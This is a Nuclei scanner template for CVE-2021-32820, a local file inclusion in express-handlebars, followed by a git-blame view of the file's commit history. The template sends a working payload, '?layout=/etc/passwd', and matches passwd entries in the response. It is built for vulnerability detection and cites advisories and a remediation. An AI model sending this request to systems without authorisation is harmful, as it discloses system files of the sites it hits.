nuclei-templates/http/cves/2021/CVE-2021-32820.yaml

id: CVE-2021-32820

info:
  name: Express-handlebars - Local File Inclusion
  author: dhiyaneshDk
  severity: high
  description: Express-handlebars is susceptible to local file inclusion because it mixes pure template data with engine configuration options through the Express render API. More specifically, the layout parameter may trigger file disclosure vulnerabilities in downstream applications. This potential vulnerability is somewhat restricted in that only files with existing extensions (i.e., file.extension) can be included. Files that lack an extension will have .handlebars appended to them. For complete details refer to the referenced GHSL-2021-018 report. Notes in documentation have been added to help users avoid this potential information exposure vulnerability.
  remediation: |
    Update to the latest version of Express-handlebars to mitigate the vulnerability.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2021-018-express-handlebars/
    - https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/CVE-2021-32820.json
    - https://github.com/express-handlebars/express-handlebars/pull/163
    - https://nvd.nist.gov/vuln/detail/CVE-2021-32820
    - https://github.com/express-handlebars/express-handlebars/blob/78c47a235c4ad7bc2674bddd8ec2721567ed8c72/README.md#danger-
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2021-32820
    cwe-id: CWE-94,CWE-200
    epss-score: 0.00929
    epss-percentile: 0.81161
    cpe: cpe:2.3:a:express_handlebars_project:express_handlebars:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: express_handlebars_project
    product: express_handlebars
    framework: node.js
  tags: cve,cve2021,expressjs,lfi,xxe

http:
  - method: GET
    path:
      - "{{BaseURL}}/?layout=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "daemon:[x*]:0:0:"
          - "operator:[x*]:0:0:"
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204b8cf850fd9b4d4cb3ff68325dd1d081a472118ef4c43c4ade12e2c4ff10306a022100ee71d66249b27da19d5e1daa2e2716d4c311ebfae395f90c8061752ed00124cf:922c64590222798bb761d5b6d8e72950
Create CVE-2021-32820.yaml 2021-07-21 05:10:13 +00:00			`id: CVE-2021-32820`

			`info:`
Enhancement: cves/2021/CVE-2021-32820.yaml by mp 2022-06-30 17:43:51 +00:00			`name: Express-handlebars - Local File Inclusion`
Create CVE-2021-32820.yaml 2021-07-21 05:10:13 +00:00			`author: dhiyaneshDk`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`severity: high`
Enhancement: cves/2021/CVE-2021-32820.yaml by mp 2022-06-30 17:43:51 +00:00			description: Express-handlebars is susceptible to local file inclusion because it mixes pure template data with engine configuration options through the Express render API. More specifically, the layout parameter may trigger file disclosure vulnerabilities in downstream applications. This potential vulnerability is somewhat restricted in that only files with existing extensions (i.e., file.extension) can be included. Files that lack an extension will have .handlebars appended to them. For complete details refer to the referenced GHSL-2021-018 report. Notes in documentation have been added to help users avoid this potential information exposure vulnerability.
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`remediation: \|`
			`Update to the latest version of Express-handlebars to mitigate the vulnerability.`
Removed pipe (\|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84 2021-08-18 11:37:49 +00:00			`reference:`
Satisfying the linter (all errors and warnings) * whitespace modifications only 2021-08-19 14:44:46 +00:00			`- https://securitylab.github.com/advisories/GHSL-2021-018-express-handlebars/`
			`- https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/CVE-2021-32820.json`
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com> 2022-05-17 09:18:12 +00:00			`- https://github.com/express-handlebars/express-handlebars/pull/163`
Enhancement: cves/2021/CVE-2021-32820.yaml by mp 2022-06-30 17:43:51 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2021-32820`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`- https://github.com/express-handlebars/express-handlebars/blob/78c47a235c4ad7bc2674bddd8ec2721567ed8c72/README.md#danger-`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 8.6`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2021-32820`
TemplateMan Update [Mon Nov 6 16:22:37 UTC 2023] :robot: 2023-11-06 16:22:37 +00:00			`cwe-id: CWE-94,CWE-200`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`epss-score: 0.00929`
TemplateMan Update [Thu Nov 9 06:04:51 UTC 2023] :robot: 2023-11-09 06:04:52 +00:00			`epss-percentile: 0.81161`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`cpe: cpe:2.3:a:express_handlebars_project:express_handlebars::::::node.js::*`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 1`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: express_handlebars_project`
			`product: express_handlebars`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`framework: node.js`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`tags: cve,cve2021,expressjs,lfi,xxe`
Create CVE-2021-32820.yaml 2021-07-21 05:10:13 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create CVE-2021-32820.yaml 2021-07-21 05:10:13 +00:00			`- method: GET`
			`path:`
			`- "{{BaseURL}}/?layout=/etc/passwd"`
WIP improvements 2021-07-22 11:02:37 +00:00
Create CVE-2021-32820.yaml 2021-07-21 05:10:13 +00:00			`matchers-condition: and`
			`matchers:`
			`- type: regex`
Update CVE-2021-32820.yaml 2022-07-02 10:27:18 +00:00			`part: body`
Create CVE-2021-32820.yaml 2021-07-21 05:10:13 +00:00			`regex:`
matcher update to handle edge cases 2021-07-24 21:35:55 +00:00			`- "root:.*:0:0:"`
WIP improvements 2021-07-22 11:02:37 +00:00			`- "daemon:[x*]:0:0:"`
			`- "operator:[x*]:0:0:"`
			`condition: or`
Enhancement: cves/2021/CVE-2021-32820.yaml by mp 2022-06-30 17:43:51 +00:00
Update CVE-2021-32820.yaml 2022-07-02 10:27:18 +00:00			`- type: status`
			`status:`
			`- 200`
Auto Template Signing [Thu Nov 9 08:56:13 UTC 2023] :robot: 2023-11-09 08:56:13 +00:00			`# digest: 4a0a0047304502204b8cf850fd9b4d4cb3ff68325dd1d081a472118ef4c43c4ade12e2c4ff10306a022100ee71d66249b27da19d5e1daa2e2716d4c311ebfae395f90c8061752ed00124cf:922c64590222798bb761d5b6d8e72950`